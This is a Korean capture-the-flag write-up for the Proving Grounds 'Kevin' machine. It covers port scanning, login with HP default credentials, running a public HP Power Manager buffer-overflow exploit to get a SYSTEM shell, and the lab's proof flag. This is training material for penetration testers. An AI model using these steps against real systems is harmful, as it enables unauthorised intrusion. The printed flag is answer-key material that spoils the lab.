Proving grounds Practice: Kevin 문제풀이
Enumeration
RustScan + Nmap
└─$ rustscan -a 192.168.114.45
[ . . . ]
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 125
135/tcp open msrpc syn-ack ttl 125
139/tcp open netbios-ssn syn-ack ttl 125
445/tcp open microsoft-ds syn-ack ttl 125
3389/tcp open ms-wbt-server syn-ack ttl 125
3573/tcp open tag-ups-1 syn-ack ttl 125
49152/tcp open unknown syn-ack ttl 125
49153/tcp open unknown syn-ack ttl 125
49154/tcp open unknown syn-ack ttl 125
49155/tcp open unknown syn-ack ttl 125
49158/tcp open unknown syn-ack ttl 125
49163/tcp open unknown syn-ack ttl 125
---
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 125 GoAhead WebServer
| http-title: HP Power Manager
|_Requested resource was http://192.168.114.45/index.asp
|_http-server-header: GoAhead-Webs
| http-methods:
|_ Supported Methods: GET HEAD
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 125 Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server? syn-ack ttl 125
| rdp-ntlm-info:
| Target_Name: KEVIN
| NetBIOS_Domain_Name: KEVIN
| NetBIOS_Computer_Name: KEVIN
| DNS_Domain_Name: kevin
| DNS_Computer_Name: kevin
| Product_Version: 6.1.7600
|_ System_Time: 2025-09-25T05:43:01+00:00
|_ssl-date: 2025-09-25T05:43:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kevin
| Issuer: commonName=kevin
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-09-24T05:15:56
| Not valid after: 2026-03-26T05:15:56
| MD5: 9b82:f408:635a:b6ae:0d3d:507c:93aa:6b6f
| SHA-1: 424f:e05b:915b:15ee:53c3:ccec:0177:f3e0:72e5:423
3573/tcp open tag-ups-1? syn-ack ttl 125
49152/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49155/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49158/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49163/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::-
| Computer name: kevin
| NetBIOS computer name: KEVIN\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-09-24T22:43:00-07:00
|_clock-skew: mean: 1h24m00s, deviation: 3h07m49s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:ab:73:74 (VMware)
| Names:
| KEVIN<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| KEVIN<20> Flags: <unique><active>
| WORKGROUP<1d> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| Statistics:
| 00:50:56:ab:73:74:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 16377/tcp): CLEAN (Couldn't connect)
| Check 2 (port 53594/tcp): CLEAN (Couldn't connect)
[ . . . ]
Port: 80
포트 스캔 결과 80번 포트가 열려 있었으므로, 웹서비스가 실행되고 있다는 뜻이라 페이지에 접속해 로그인 페이지를 찾았다.
HP 기본 계정 admin:admin 을 이용해 접속에 성공했다.
웹 정보 수집 결과 HP Power Manager 4.2 을 사용하고 있다는 것을 확인한 뒤, 해당 버전 익스플로잇 정보를 찾았다.
https://github.com/Muhammd/HP-Power-Manager/blob/master/hpm_exploit.py
Exploitation
└─$ python2 hpm_exploit.py 192.168.114.45
##//#############################################################################################################
## ## #
## Vulnerability: HP Power Manager 'formExportDataLogs' ## FormExportDataLogs Buffer Overflow #
## ## HP Power Manager #
## Vulnerable Application: HP Power Manager ## This is a part of the Metasploit Module, #
## Tested on Windows [Version 6.1.7600] ## exploit/windows/http/hp_power_manager_filename #
## ## #
## Author: Muhammad Haidari ## Spawns a shell to same window #
## Contact: ghmh@outlook.com ## #
## Website: www.github.com/muhammd ## #
## ## #
##//#############################################################################################################
##
##
## TODO: adjust
##
## Usage: python hpm_exploit.py <Remote IP Address>
[+] Payload Fired... She will be back in less than a min...
[+] Give me 30 Sec!
(UNKNOWN) [192.168.114.45] 1234 (?) open
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
9a9a1c5b094046c97c8188f9e40adddb
Privilege Escalation
이미 시스템 권한의 관리자의 쉘을 획득했기 때문에 권한 상승은 필요하지 않다.
댓글 남기기